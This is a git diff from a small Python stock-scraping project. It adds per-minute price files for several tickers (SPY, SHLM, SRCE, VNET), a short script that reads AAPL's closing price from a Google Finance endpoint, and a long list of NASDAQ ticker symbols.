+SHLM,1388147100000,34.91
+SHLM,1388147220000,34.91
+SHLM,1388147760000,34.91
+SHLM,1388148180000,34.915
+SHLM,1388148720000,34.94
+SHLM,1388148960000,34.83
diff --git a/pyscrapper/stock_finance/daily_prices/SPY.txt b/pyscrapper/stock_finance/daily_prices/SPY.txt
new file mode 100755
index 00000000..a7a5c889
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/SPY.txt
@@ -0,0 +1,208 @@
+SPY,1388136600000,184.1
+SPY,1388136660000,184.14
+SPY,1388136720000,184.1
+SPY,1388136780000,184.13
+SPY,1388136840000,184.13
+SPY,1388136900000,184.085
+SPY,1388136960000,184.04
+SPY,1388137020000,184.04
+SPY,1388137080000,184.03
+SPY,1388137140000,184.085
+SPY,1388137200000,184.04
+SPY,1388137260000,184.03
+SPY,1388137320000,184.01
+SPY,1388137380000,184.04
+SPY,1388137440000,184.05
+SPY,1388137500000,184.01
+SPY,1388137560000,184.01
+SPY,1388137620000,184.03
+SPY,1388137680000,184.05
+SPY,1388137740000,184.0784
+SPY,1388137800000,184.03
+SPY,1388137860000,184.08
+SPY,1388137920000,184.074
+SPY,1388137980000,184.07
+SPY,1388138040000,184.09
+SPY,1388138100000,184.065
+SPY,1388138160000,184.07
+SPY,1388138220000,184.06
+SPY,1388138280000,184.0722
+SPY,1388138340000,184.06
+SPY,1388138400000,184.03
+SPY,1388138460000,184.11
+SPY,1388138520000,184.08
+SPY,1388138580000,184.08
+SPY,1388138640000,184.08
+SPY,1388138700000,184.099
+SPY,1388138760000,184.1076
+SPY,1388138820000,184.07
+SPY,1388138880000,184.11
+SPY,1388138940000,184.11
+SPY,1388139000000,184.095
+SPY,1388139060000,184.09
+SPY,1388139120000,184.07
+SPY,1388139180000,184.08
+SPY,1388139240000,184.075
+SPY,1388139300000,184.08
+SPY,1388139360000,184.05
+SPY,1388139420000,184.041
+SPY,1388139480000,184.08
+SPY,1388139540000,184.05
+SPY,1388139600000,184.098
+SPY,1388139660000,184.07
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+SPY,1388139780000,184.04
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+SPY,1388139900000,184.04
+SPY,1388139960000,184.04
+SPY,1388140020000,184.04
+SPY,1388140080000,184.015
+SPY,1388140140000,184.0
+SPY,1388140200000,184.01
+SPY,1388140260000,183.95
+SPY,1388140320000,183.94
+SPY,1388140380000,183.91
+SPY,1388140440000,183.92
+SPY,1388140500000,183.89
+SPY,1388140560000,183.9
+SPY,1388140620000,183.88
+SPY,1388140680000,183.86
+SPY,1388140740000,183.8599
+SPY,1388140800000,183.83
+SPY,1388140860000,183.815
+SPY,1388140920000,183.785
+SPY,1388140980000,183.75
+SPY,1388141040000,183.76
+SPY,1388141100000,183.775
+SPY,1388141160000,183.74
+SPY,1388141220000,183.75
+SPY,1388141280000,183.75
+SPY,1388141340000,183.691
+SPY,1388141400000,183.7
+SPY,1388141460000,183.7
+SPY,1388141520000,183.71
+SPY,1388141580000,183.75
+SPY,1388141640000,183.76
+SPY,1388141700000,183.75
+SPY,1388141760000,183.74
+SPY,1388141820000,183.72
+SPY,1388141880000,183.67
+SPY,1388141940000,183.6799
+SPY,1388142000000,183.67
+SPY,1388142060000,183.67
+SPY,1388142120000,183.72
+SPY,1388142180000,183.71
+SPY,1388142240000,183.73
+SPY,1388142300000,183.74
+SPY,1388142360000,183.77
+SPY,1388142420000,183.7742
+SPY,1388142480000,183.78
+SPY,1388142540000,183.785
+SPY,1388142600000,183.7776
+SPY,1388142660000,183.78
+SPY,1388142720000,183.775
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+SPY,1388142900000,183.82
+SPY,1388142960000,183.81
+SPY,1388143020000,183.85
+SPY,1388143080000,183.86
+SPY,1388143140000,183.85
+SPY,1388143200000,183.86
+SPY,1388143260000,183.865
+SPY,1388143320000,183.85
+SPY,1388143380000,183.808
+SPY,1388143440000,183.8
+SPY,1388143500000,183.73
+SPY,1388143560000,183.7
+SPY,1388143620000,183.755
+SPY,1388143680000,183.79
+SPY,1388143740000,183.809
+SPY,1388143800000,183.91
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+SPY,1388143920000,183.9501
+SPY,1388143980000,183.945
+SPY,1388144040000,183.895
+SPY,1388144100000,183.89
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+SPY,1388144220000,183.835
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+SPY,1388144340000,183.848
+SPY,1388144400000,183.7914
+SPY,1388144460000,183.85
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+SPY,1388145000000,183.845
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+SPY,1388145180000,183.88
+SPY,1388145240000,183.871
+SPY,1388145300000,183.89
+SPY,1388145360000,183.85
+SPY,1388145420000,183.9
+SPY,1388145480000,183.91
+SPY,1388145540000,183.91
+SPY,1388145600000,183.89
+SPY,1388145660000,183.885
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+SPY,1388146080000,183.88
+SPY,1388146140000,183.888
+SPY,1388146200000,183.88
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+SPY,1388146320000,183.9
+SPY,1388146380000,183.89
+SPY,1388146440000,183.89
+SPY,1388146500000,183.88
+SPY,1388146560000,183.8296
+SPY,1388146620000,183.83
+SPY,1388146680000,183.8099
+SPY,1388146740000,183.8001
+SPY,1388146800000,183.85
+SPY,1388146860000,183.835
+SPY,1388146920000,183.8425
+SPY,1388146980000,183.8888
+SPY,1388147040000,183.9
+SPY,1388147100000,183.919
+SPY,1388147160000,183.865
+SPY,1388147220000,183.87
+SPY,1388147280000,183.9
+SPY,1388147340000,183.9
+SPY,1388147400000,183.88
+SPY,1388147460000,183.865
+SPY,1388147520000,183.85
+SPY,1388147580000,183.87
+SPY,1388147640000,183.875
+SPY,1388147700000,183.85
+SPY,1388147760000,183.84
+SPY,1388147820000,183.839
+SPY,1388147880000,183.865
+SPY,1388147940000,183.869
+SPY,1388148000000,183.865
+SPY,1388148060000,183.86
+SPY,1388148120000,183.85
+SPY,1388148180000,183.83
+SPY,1388148240000,183.8
+SPY,1388148300000,183.79
+SPY,1388148360000,183.775
+SPY,1388148420000,183.75
+SPY,1388148480000,183.73
+SPY,1388148540000,183.75
+SPY,1388148600000,183.76
+SPY,1388148660000,183.78
+SPY,1388148720000,183.8039
+SPY,1388148780000,183.775
+SPY,1388148840000,183.76
+SPY,1388148900000,183.72
+SPY,1388148960000,183.72
+SPY,1388149020000,183.72
diff --git a/pyscrapper/stock_finance/daily_prices/SRCE.txt b/pyscrapper/stock_finance/daily_prices/SRCE.txt
new file mode 100755
index 00000000..2f719df6
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/SRCE.txt
@@ -0,0 +1,22 @@
+SRCE,1388136600000,31.93
+SRCE,1388137440000,31.92
+SRCE,1388137800000,31.9
+SRCE,1388137860000,31.9
+SRCE,1388138100000,31.89
+SRCE,1388138340000,31.9
+SRCE,1388142900000,31.84
+SRCE,1388144340000,31.77
+SRCE,1388144460000,31.81
+SRCE,1388144520000,31.81
+SRCE,1388145480000,31.85
+SRCE,1388145540000,31.85
+SRCE,1388145600000,31.85
+SRCE,1388146200000,31.84
+SRCE,1388146620000,31.845
+SRCE,1388146680000,31.84
+SRCE,1388146740000,31.83
+SRCE,1388147400000,31.85
+SRCE,1388147460000,31.81
+SRCE,1388147820000,31.85
+SRCE,1388148000000,31.85
+SRCE,1388148060000,31.8499
diff --git a/pyscrapper/stock_finance/daily_prices/VNET.txt b/pyscrapper/stock_finance/daily_prices/VNET.txt
new file mode 100755
index 00000000..a8a3a728
--- /dev/null
+++ b/pyscrapper/stock_finance/daily_prices/VNET.txt
@@ -0,0 +1,136 @@
+VNET,1388136600000,22.51
+VNET,1388136720000,22.578
+VNET,1388136780000,22.665
+VNET,1388136900000,22.68
+VNET,1388136960000,22.721
+VNET,1388137020000,22.74
+VNET,1388137140000,22.813
+VNET,1388137380000,22.73
+VNET,1388137560000,22.7
+VNET,1388137680000,22.67
+VNET,1388137740000,22.68
+VNET,1388137800000,22.68
+VNET,1388137860000,22.65
+VNET,1388137920000,22.65
+VNET,1388137980000,22.63
+VNET,1388138040000,22.62
+VNET,1388138100000,22.655
+VNET,1388138160000,22.64
+VNET,1388138220000,22.74
+VNET,1388138280000,22.75
+VNET,1388138340000,22.79
+VNET,1388138460000,22.6
+VNET,1388138520000,22.65
+VNET,1388138580000,22.73
+VNET,1388138700000,22.695
+VNET,1388138760000,22.67
+VNET,1388138820000,22.6
+VNET,1388138880000,22.6
+VNET,1388138940000,22.62
+VNET,1388139060000,22.66
+VNET,1388139360000,22.73
+VNET,1388139420000,22.61
+VNET,1388139480000,22.57
+VNET,1388139540000,22.57
+VNET,1388139600000,22.6
+VNET,1388139660000,22.75
+VNET,1388139720000,22.77
+VNET,1388139780000,22.74
+VNET,1388139840000,22.73
+VNET,1388139900000,22.7
+VNET,1388139960000,22.7
+VNET,1388140020000,22.645
+VNET,1388140080000,22.62
+VNET,1388140140000,22.61
+VNET,1388140200000,22.53
+VNET,1388140260000,22.45
+VNET,1388140320000,22.52
+VNET,1388140380000,22.54
+VNET,1388140440000,22.5499
+VNET,1388140500000,22.42
+VNET,1388140560000,22.43
+VNET,1388140620000,22.35
+VNET,1388140680000,22.37
+VNET,1388140740000,22.39
+VNET,1388140800000,22.35
+VNET,1388140860000,22.3
+VNET,1388140920000,22.28
+VNET,1388140980000,22.31
+VNET,1388141100000,22.38
+VNET,1388141220000,22.4
+VNET,1388141280000,22.4
+VNET,1388141340000,22.39
+VNET,1388141400000,22.49
+VNET,1388141460000,22.59
+VNET,1388141520000,22.59
+VNET,1388141580000,22.51
+VNET,1388141640000,22.52
+VNET,1388141700000,22.45
+VNET,1388141760000,22.44
+VNET,1388141820000,22.47
+VNET,1388141880000,22.49
+VNET,1388141940000,22.545
+VNET,1388142000000,22.53
+VNET,1388142060000,22.55
+VNET,1388142180000,22.5
+VNET,1388142240000,22.51
+VNET,1388142300000,22.505
+VNET,1388142360000,22.51
+VNET,1388142420000,22.52
+VNET,1388142840000,22.6
+VNET,1388142960000,22.64
+VNET,1388143020000,22.66
+VNET,1388143080000,22.65
+VNET,1388143140000,22.65
+VNET,1388143380000,22.68
+VNET,1388143440000,22.69
+VNET,1388143500000,22.76
+VNET,1388143560000,22.8
+VNET,1388143620000,22.82
+VNET,1388143680000,22.919
+VNET,1388143860000,22.91
+VNET,1388143920000,22.9
+VNET,1388143980000,22.91
+VNET,1388144040000,22.92
+VNET,1388144100000,22.93
+VNET,1388144220000,22.95
+VNET,1388144460000,22.935
+VNET,1388144520000,22.94
+VNET,1388144640000,22.95
+VNET,1388144700000,22.97
+VNET,1388144820000,22.99
+VNET,1388144880000,23.06
+VNET,1388144940000,23.01
+VNET,1388145180000,23.04
+VNET,1388145240000,23.01
+VNET,1388145540000,23.03
+VNET,1388145780000,23.06
+VNET,1388145960000,23.05
+VNET,1388146020000,23.01
+VNET,1388146080000,23.04
+VNET,1388146260000,23.04
+VNET,1388146320000,23.0
+VNET,1388146380000,23.01
+VNET,1388146440000,23.02
+VNET,1388146500000,23.04
+VNET,1388146560000,23.07
+VNET,1388146620000,23.0
+VNET,1388146680000,22.96
+VNET,1388146800000,22.93
+VNET,1388146860000,22.97
+VNET,1388146920000,22.99
+VNET,1388146980000,22.98
+VNET,1388147040000,22.98
+VNET,1388147100000,22.98
+VNET,1388147220000,22.98
+VNET,1388147460000,22.99
+VNET,1388147580000,23.0
+VNET,1388148000000,22.99
+VNET,1388148060000,23.0
+VNET,1388148120000,23.0
+VNET,1388148240000,22.99
+VNET,1388148300000,22.99
+VNET,1388148600000,22.99
+VNET,1388148660000,22.98
+VNET,1388148960000,22.99
+VNET,1388149020000,22.98
diff --git a/pyscrapper/stock_finance/google_finance.py b/pyscrapper/stock_finance/google_finance.py
new file mode 100755
index 00000000..e9baaffa
--- /dev/null
+++ b/pyscrapper/stock_finance/google_finance.py
@@ -0,0 +1,11 @@
+
+'''
+Fetching stock value from google finance website using network response!!
+'''
+
+import urllib
+
+url = "https://www.google.com/finance/getprices?q=AAPL&x=NASD&i=120&p=25m&f=c&df=cpct&auto=1&ts=1383288707413&ei=cJ9yUujREYnHkgWoIw"
+htmlfile = urllib.urlopen(url)
+htmltext = htmlfile.read().decode('utf-8').split()
+print "Last closing price for AAPL today is:",htmltext[len(htmltext)-1]
\ No newline at end of file
diff --git a/pyscrapper/stock_finance/symbols.txt b/pyscrapper/stock_finance/symbols.txt
new file mode 100755
index 00000000..6822fafc
--- /dev/null
+++ b/pyscrapper/stock_finance/symbols.txt
@@ -0,0 +1,2741 @@
+FLWS
+FCTY
+FCCY
+SRCE
+FUBC
+VNET
+JOBS
+EGHT
+AVHI
+SHLM
+AAON
+ASTM
+ABAX
+ABGB
+ABMD
+AXAS
+ACTG
+ACHC
+ACAD
+ACST
+AXDX
+XLRN
+ACCL
+ANCX
+ARAY
+ACRX
+ACET
+ACHN
+ACIW
+ACNB
+ACOR
+ACFN
+ACTS
+ACPW
+ATVI
+BIRT
+ACUR
+ACXM
+ADUS
+AEY
+ADEP
+ADBE
+ADTN
+ADES
+AEIS
+ADXS
+ADXSW
+ADVS
+AEGR
+AEGN
+AEHR
+AEPI
+AERI
+AVAV
+AEZS
+ATRM
+AFCE
+AFFX
+AGEN
+AGYS
+AGIO
+AIRM
+AIRT
+ATSG
+AMCN
+AIXG
+AKAM
+AKRX
+ALSK
+AMRI
+ALCS
+ADHD
+ALXN
+ALXA
+ALCO
+ALGN
+ALIM
+ALKS
+ALGT
+ALLB
+AFOP
+AIQ
+AHGP
+ARLP
+AHPI
+AMOT
+ALLT
+MDRX
+AFAM
+ALNY
+AOSL
+ATEC
+ASDR
+EMDR
+RUDR
+ALTI
+ALTR
+ASPS
+APSA
+AIMC
+ALVR
+AMAG
+AMRN
+AMZN
+AMBC
+AMBCW
+AMBA
+EPAX
+AMBT
+AMBI
+AMCX
+AMED
+UHAL
+ASBI
+ATAX
+AMOV
+AGNC
+AGNCP
+MTGE
+ACAS
+ANCI
+AETI
+AMIC
+AMNB
+ANAT
+APFC
+APEI
+ARII
+ARCP
+AMRB
+ASEI
+AMSWA
+AMSC
+AMWD
+CRMT
+ABCB
+AMSF
+ASRV
+ASRVP
+ATLO
+AMGN
+FOLD
+AMKR
+AMSG
+ASYS
+AFSI
+AMRS
+ANAC
+ANAD
+ADI
+ALOG
+ANEN
+ANCB
+AMCF
+ANDA
+ANDAU
+ANDAW
+ANGI
+ANGO
+ANIP
+ANIK
+ANSS
+ATRS
+ANTH
+APAGF
+ATNY
+APOG
+APOL
+AINV
+AAPL
+ARCI
+AMAT
+AMCC
+AAOI
+AREX
+APRI
+AQU
+AQUUU
+AQUUW
+PETX
+ARCW
+ABIO
+ACGL
+ACAT
+ARDNA
+ARNA
+ARCC
+AGII
+AGIIL
+ARIA
+ARKR
+ABFS
+ARMH
+ARTX
+ARQL
+ARRY
+ARRS
+AROW
+ARWR
+ARTNA
+ARTC
+ARTW
+ARUN
+ASBB
+ASNA
+ASCMA
+ASTI
+APWC
+ASIA
+ASMI
+ASML
+AZPN
+ASBC
+ASBCW
+ASFI
+ATEA
+ASTE
+ALOT
+ATRO
+ASTC
+ASUR
+ATAI
+ATHN
+AFCB
+ATHX
+AAME
+ACFC
+ATNI
+ATLC
+AAWW
+AFH
+ATML
+ATMI
+ATOS
+ATRC
+ATRI
+ATTU
+AUBN
+ADNC
+AUDC
+ADAT
+ABTL
+ADSK
+ADP
+AMAP
+AUXL
+AVGO
+AVNR
+AVEO
+AVNW
+AVID
+CAR
+AWRE
+ACLS
+AXGN
+AXTI
+BCOM
+BOSC
+BEAV
+BIDU
+BCPC
+BWINA
+BWINB
+BLDP
+BANC
+BANCL
+BANCP
+BANF
+BANFP
+BKMU
+BOCH
+BMRC
+BKSC
+BOTJ
+OZRK
+BFIN
+BANR
+BBSI
+BSET
+BAXS
+BV
+BBCN
+BCBP
+BCSB
+BECN
+BBGI
+BEBE
+BBBY
+BELFA
+BELFB
+BNCL
+BNFT
+BERK
+BGMD
+BGCP
+BGSC
+BGSCU
+BGSCW
+BGFV
+BIND
+BASI
+BCRX
+BIOD
+BDSI
+BIOF
+BIIB
+BIOL
+BLRX
+BMRN
+BRLI
+BIOS
+BSTC
+BSPM
+BOTA
+BEAT
+BDMS
+BJRI
+BBOX
+BDE
+BLKB
+BBRY
+HAWK
+BKCC
+ADRA
+ADRD
+ADRE
+ADRU
+BLMN
+BCOR
+NILE
+BLUE
+BKEP
+BKEPP
+BPHX
+BNCN
+BOBE
+BODY
+BOFI
+WIFI
+BOKF
+BOLT
+BONA
+BNSO
+BAMM
+BPFH
+BPFHP
+BPFHW
+EPAY
+BDBD
+BBRG
+BBEP
+BDGE
+BBNK
+BLIN          
+BRID
+BCOV
+BRCM
+BSFT
+BVSN
+BYFC
+BWEN
+BRCD
+BRKL
+BRKS
+BRKR
+BMTC
+BLMT
+BSDM
+BSQR
+BTUI
+BWLD
+BLDR
+BUR
+CFFI
+CHRW
+CA
+CCMP
+CACH
+CDNS
+CADX
+CDZI
+CZR
+CSTE
+PRSS
+CLMS
+CHY
+CHI
+CHW
+CGO
+CSQ
+CAMP
+CVGW
+CFNB
+CALD
+CALM
+CLMT
+ABCD
+CAFI
+CAC
+CAMT
+CSIQ
+CGIX
+CPHC
+CBNJ
+CPLA
+CBF
+CCBG
+CPLP
+CSWC
+CPTA
+CLAC
+CLACU
+CLACW
+CFFN
+CPST
+CARB
+CRDC
+CFNL
+CRME
+CSII
+CATM
+CECO
+CKEC
+CLBH
+CART
+CRZO
+CRRB
+TAST
+CARV
+CASM
+CACB
+CSCD
+CWST
+CASY
+CASS
+CPRX
+CTRX
+CATY
+CVCO
+CAVM
+CBEY
+CBOE
+CDW
+CECE
+CELG
+CELGZ
+CTIC
+CLDX
+ICEL
+CLSN
+CEMP
+CNBC
+CSFL
+CETV
+CFBK
+CENT
+CENTA
+CVCY
+CENX
+CNBKA
+CNTY
+CPHD
+CRNT
+CERE
+CERN
+CERS
+CEVA
+CITZ
+CYOU
+HOTR
+HOTRW
+CTHR
+CHRM
+CACG
+CACGU
+CACGW
+GTLS
+CHTR
+CHFN
+CHKP
+CHTP
+CEMI
+CHFC
+CCXI
+CHMG
+CHKE
+CHEV
+CBNK
+CMRX
+CADC
+CALI
+CAAS
+CBAK
+CBPO
+CCCL
+CCCR
+JRJC
+CHOP
+HGSH
+CHLN
+CNIT
+CJJD
+HTHT
+CMGE
+CHNR
+CPSL
+CREG
+CPGI
+CSUN
+CNTF
+CXDC
+CNYD
+CCIH
+CEDU
+CNET
+CHDX
+IMOS
+CHSCO
+CHSCP
+CHDN
+CHUY
+CHYR
+CIEN
+CIFC
+CIMT
+CINF
+CIDM
+CTAS
+CRUS
+CISAA
+CISAU
+CISAW
+CSCO
+CTRN
+CZNC
+CZWI
+CZFC
+CIZN
+CTXS
+CHCO
+CWEI
+CDTI
+CLNE
+CLNT
+CLFD
+CLRO
+CLIR
+CBLI
+CKSW
+CSBK
+CLVS
+CME
+CMSB
+CCNE
+CISG
+COA           
+COBZ
+COBR
+COKE
+CDXS
+CVLY
+JVA
+CCOI
+CGNX
+CTSH
+COGO
+COHR
+COHU
+CWTR
+CCIX
+JACQ
+JACQU
+JACQW
+CLRX
+CLCT
+COBK
+CBAN
+COLB
+CBRX
+COLM
+CMCO
+CBMX
+CBMXW
+CMCSA
+CMCSK
+CBSH
+CVGI
+COMM
+CTCH
+JCS
+CBIN
+ESXB
+CTBI
+CWBC
+COB
+CVLT
+GSJK
+CGEN
+CPSI
+CTG
+CPWR
+SCOR
+CHCI
+CMTL
+CNSI
+CNAT
+CNQR
+CCUR
+CNMD
+CTWS
+CNOB
+CONN
+CNSL
+CWCO
+CTCT
+CPSS
+CTRL
+CPRT
+CORT
+BVA
+CORE
+COCO
+CSOD
+CRTX
+CNDO
+CRRS
+CRVL
+COSI
+ATX
+CSGP
+COST
+CPAH
+CRRC
+CVTI
+COVS
+COWN
+CRAI
+CBRL
+BREW
+CRAY
+CACC
+GLDI
+SLVO
+CREE
+CRESW
+CRESY
+CROX
+CCRN
+CRDS
+XTXI
+XTEX
+CRWS
+CRWN
+CRMB
+CRMBU
+CRMBW
+CSGS
+CSPI
+CSRE
+CTCM
+CTIB
+CTRP
+CUNB
+CBST
+CBSTZ
+CUI
+CPIX
+CMLS
+CRIS
+CUBI
+CUBIL
+CUTR
+CVBF
+CVV
+CYAN
+CYBX
+CYBE
+CYCC
+CYCCP
+CYNO
+CY
+CONE
+CYTK
+CYTX
+CYTXW
+CYTR
+DAEG
+DJCO
+DAKT
+DARA
+DAIO
+DTLK
+DRAM
+DWCH
+DWSN
+TRAK
+DECK
+DHRM
+DFRG
+DCTH
+DLIA
+DELL
+DGAS
+DNDN
+DENN
+XRAY
+DEPO
+DSCI
+DEST
+DXLG
+DSWL
+DXM
+DXCM
+DLLR
+DMND
+DHIL
+FANG
+DCIX
+DGII
+DMRC
+DRAD
+DGLY
+DCIN
+DGIT
+DRIV
+DCOM
+DIOD
+DTV
+DISCA
+DISCB
+DISCK
+DSCO
+DISH
+DVCR
+BAGR
+DLHC
+DNBF
+DLTR
+DGICA
+DGICB
+DMLP
+DORM
+HILL
+DBLE
+DBLEP
+DOVR
+DRWI
+DWA
+DRYS
+DSKX
+DSPG
+DTSI
+DNKN
+DRTX
+DRRX
+DXPE
+DYAX
+BOOM
+DRCO
+DYSL
+DYNT
+DVAX
+ETFC
+EOPN
+EBMT
+EGBN
+EGLE
+EROC
+ELNK
+EWBC
+EML
+EIHI
+EVBS
+EBAY
+EBIX
+ELON
+ECHO
+ECTE
+SATS
+EEI
+EDAP
+EDGW
+EDMC
+EDUC
+EVAC
+EFUT
+EGAN
+EHTH
+BAGL
+EMITF
+ESLT
+ESYS
+ELRC
+ESIO
+EA
+EFII
+ELSE
+RDEN
+ESBK
+LONG
+ELTK
+EMCI
+EMCF
+EMKR
+EMMS
+EMMSP
+NYNY
+ERS
+ENTA
+ECPG
+WIRE
+ENDP
+ECYT
+ELGX
+EIGI
+ERII
+EXXI
+ENOC
+ENG
+ENPH
+ESGR
+ENTG
+ETRM
+EBTC
+EFSC
+EGT
+ENMD
+ENTR
+ENVI
+ENZN
+ENZY          
+EONC
+EPIQ
+EPZM
+PLUS
+EQIX
+EAC           
+ERIC
+ERIE
+ESBF
+ESCA
+ESMC
+ESPR
+ESSA
+ESSX
+CLWT
+EEFT
+ESEA
+EVEP
+EVRY
+EVOK
+EVOL
+EXA
+EXAS
+EXAC
+EDS
+ROBO
+ERW
+EXEL
+EXFO
+EXLS
+EXPE
+EXPD
+EXPO
+ESRX
+EXLP
+EXTR
+EZCH
+EZPW
+FFIV
+FB
+FRP
+FWM
+FALC
+DAVE
+FARM
+FFKT
+FMNB
+FARO
+FAST
+FATE
+FBSS
+FBRC
+FDML
+FNHC
+FFCO
+FEIC
+FHCO
+ONEQ
+LION
+FDUS
+FRGI
+FSC
+FSCFL
+FSFR
+FITB
+FNGN
+FISI
+FNSR
+FEYE
+FBNC
+FNLC
+BUSE
+FBIZ
+FCVA
+FCAP
+FCFS
+FCZA
+FCNCA
+FCLF
+FCBC
+FCCO
+FBNK
+FDEF
+FFBH
+FFNM
+FFBC
+FFBCW
+FFIN
+THFF
+SCBT
+FFNW
+FFKY
+INBK
+FIBK
+FRME
+FMBI
+NBCB
+FNFG
+FSFG
+FSGI
+FSLR
+FSBK
+FTCS
+BICK
+CU
+PLTM
+CARZ
+FTSL
+HYLS
+TDIV
+YDIV
+MDIV
+FTGC
+SKYY
+QABA
+FONE
+GRID
+QCLN
+QQEW
+QQXT
+QTEC
+FUNC
+FBMI
+SVVC
+FMER
+FSRV
+FISV
+FIVE
+FPRX
+FLML
+FLXS
+FLEX
+FLIR
+FLOW
+FLDM
+FFIC
+FONR
+VIFL
+FES
+FNRG
+FORM
+FORTY
+FORR
+FTNT
+FWRD
+FORD
+FOSL
+FWLT
+FMI
+FXCB
+FOXF
+FRAN
+FELE
+FRNK
+FRED
+FREE
+RAIL
+FEIM
+FTR
+FSBW
+FTDDV
+FSYS
+FTEK
+FCEL
+FULL
+FULLL
+FLL
+FULT
+FURX
+FFHL
+FXEN
+GK
+WILC
+GAIA
+GALT
+GALTU
+GALTW
+GALE
+GLPIV
+GPIC
+GRMN
+GARS
+GKNT
+GENC
+GNCMA
+GFN
+GFNCP
+GENE
+GNMK
+GHDX
+GNTX
+THRM
+GENT
+GTIV
+GNVC
+GMETP
+GTWN
+GEOS
+GABC
+GERN
+GEVO
+ROCK
+GIGM
+GIGA
+GIII
+GILT
+GILD
+GIVN
+GBCI
+GLAD
+GLADP
+GOOD
+GOODN
+GOODO
+GOODP
+GAIN
+GAINP
+LAND
+GLCH
+GLBZ
+GDEF
+ENT
+GBLI
+GLPW
+GSOL
+SOCL
+QQQC
+GAI
+GSM
+GCOM
+GLBS
+GLUU
+GOGO
+GLNG
+GMLP
+GLDC
+GBDC
+GTIM
+GOOG
+GMAN
+LOPE
+GRVY
+GLDD
+GSBC
+GMCR
+GPRE
+GCBC
+GLRE
+GRIF
+GRFS
+GRPN
+OMAB
+GGAL
+GSIG
+GSIT
+GSVC
+GTAT
+GTXI
+GPRC
+GBNK
+GFED
+GUID
+GIFI
+GURE
+GPOR
+GWPH
+GYRO
+HEES
+HNRG
+HALL
+HALO
+HBK
+HBNK
+HMPR
+HBHC
+HNH
+HAFC
+HNSN
+HSOL
+HDNG
+HLIT
+TINY
+HPOL
+HARTV
+HBIO
+HBIOV
+HCAP
+HAS
+HAST
+HAUP
+HA
+HCOM
+HWKN
+HWBK
+HAYN
+HCIIP
+HDS
+HIIQ
+HCSG
+HSTM
+HWAY
+HTLD
+HTLF
+HTWR
+HTBX
+HSII
+HELE
+HMNY
+HMTV
+HSIC
+HERO
+HTBK
+HFWA
+HBOS
+HEOP
+HCCI
+MLHR
+HSKA
+HFFC
+HTWO
+HIBB
+HTCO
+HIHO
+HIMX
+HIFS
+HITK
+HITT
+HMNF
+HMSY
+HOLI
+HOLL
+HOLX
+HBCP
+HOMB
+HOME
+HFBL
+HMIN
+HLSS
+AWAY
+HMST
+HTBI
+HPJ
+HKTV
+HOFT
+HFBC
+HBNC
+HZNP
+HRZN
+ZINC
+HWCC
+HOVNP
+HBMD
+HSNI
+HUBG
+HCBK
+HSON
+HDSN
+HBAN
+HBANP
+HPCCP
+HURC
+HURN
+HTCH
+HPAC
+HYGS
+HPTX
+IDSY
+IACI
+IKGH
+IBKC
+ICAD
+IEP
+ICFI
+ICGE
+ICLR
+ICON
+ICUI
+IDIX
+INVE
+IDRA
+IDXX
+IROQ
+IGTE
+IRG
+IGOI
+IIVI
+IKAN
+IKNX
+ILMN
+ISNS
+IMMR
+ICCC
+IMGN
+IMMU
+IPXL
+IMMY
+IMRS
+SAAS
+INCY
+INDB
+IBCP
+IBTX
+IDSA
+INFN
+INXB
+INXBU
+INXBW
+INFI
+IPCC
+INFA
+III
+IFON
+IMKTA
+INWK
+INOD
+IPHS
+IOSP
+INOC
+ISSC
+NSIT
+ISIG
+INSM
+IIIN
+PODD
+INSY
+IART
+IDTI
+IESC
+ISSI
+INTC
+IQNT
+IPCI
+IPAR
+IBKR
+ININ
+ICPT
+IDCC
+TILE
+IMI
+IMCB
+ITMN
+INAP
+IBOC
+ISCA
+IGLD
+IIJI
+PTNT
+INPH
+INTX
+ISIL
+IILG
+IBCA
+IVAC
+INTL
+INTLL
+IIN
+INTU
+ISRG
+SNAK
+ISBC
+ITIC
+IPAS
+IPCM
+IPGP
+IRIX
+IRDM
+IRDMZ
+IRBT
+IRWD
+ISHG
+EMIF
+FCHI
+IFSM
+IFAS
+IFEU
+IFGL
+IFNA
+GNMA
+SOXX
+INDY
+IGOV
+AXFN
+ACWX
+ACWI
+AAXJ
+AXJS
+AAIT
+EEMA
+EMDI
+EEME
+EMEY
+EMFN
+EGRW
+EEML
+EMMT
+EVAL
+EUFN
+FEFN
+IBB
+ICLN
+NUCL
+WOOD
+ISIS
+ISLE
+ISRL
+ITRI
+ITRN
+IVAN
+XXIA
+IXYS
+JJSF
+MAYS
+JBHT
+JCOM
+JASO
+JKHY
+JACK
+JXSB
+JAXB
+JAKK
+JMBA
+JRCC
+JAZZ
+JDSU
+JFBI
+JBLU
+JTPY
+JCTCF
+DATE
+JST
+JIVE
+JOEZ
+JBSS
+JOUT
+JOSB
+TAX
+KALU
+KBIO
+KMDA
+KNDI
+KCLI
+KCAP
+KRNY
+KIPO
+KELYA
+KELYB
+KFFB
+KERX
+KEQU
+KTEC
+KTCC
+KFRC
+KBALB
+KGJI
+KINS
+KONE
+KIOR
+KIPS
+KIRK
+KLAC
+VLCCF
+KONA
+KONG
+KOPN
+KOSS
+KRFT
+KWEB
+KTOS
+KUTV
+KLIC
+KVHI
+KYTH
+LLEN
+FSTR
+LSBK
+LBAI
+LKFN
+LAKE
+LACO
+LRCX
+LAMR
+LANC
+LNDC
+LARK
+LSTR
+LTRX
+LPSB
+LSCC
+LAWS
+LAYN
+LCAV
+LCNB
+LDRH
+GAGA
+LBIX
+LEAP
+LTRE
+LGCY
+LMAT
+LXRX
+LHCG
+LBTYA
+LBTYB
+LBTYK
+LINTA
+LINTB
+LVNTA
+LVNTB
+LMCA
+LMCB
+LPHI
+LIFE
+LPNT
+LCUT
+LFVN
+LWAY
+LGND
+LTBR
+LPTH
+LIWA
+LIME
+LLNW
+LMNR
+LINC
+LECO
+LLTC
+LTON
+LNCO
+LINE
+LIOX
+LPDX
+LIQD
+LQDT
+LFUS
+LIVE
+LPSN
+LKQ
+LMIA
+LNBB
+LOCM
+LOGI
+LOGM
+LOJN
+LOOK
+LORL
+LABC
+LPTN
+LPLA
+LRAD
+LSBI
+LSI
+LYTS
+LTXC
+LULU
+LMNX
+LMOS
+LUNA
+MBTF
+MTSI
+MCBC
+MFNC
+MGNX
+MCBK
+MAGS
+MGLN
+MPET
+MGIC
+CALL
+MNGA
+MAG
+MGYR
+MHLD
+MHLDO
+MSFG
+COOL
+MMYT
+MAKO
+MLVF
+MAMS
+MNDL
+MANH
+LOAN
+MNTX
+MTEX
+MNKD
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+ONTY
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+OPEN
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+ORRF
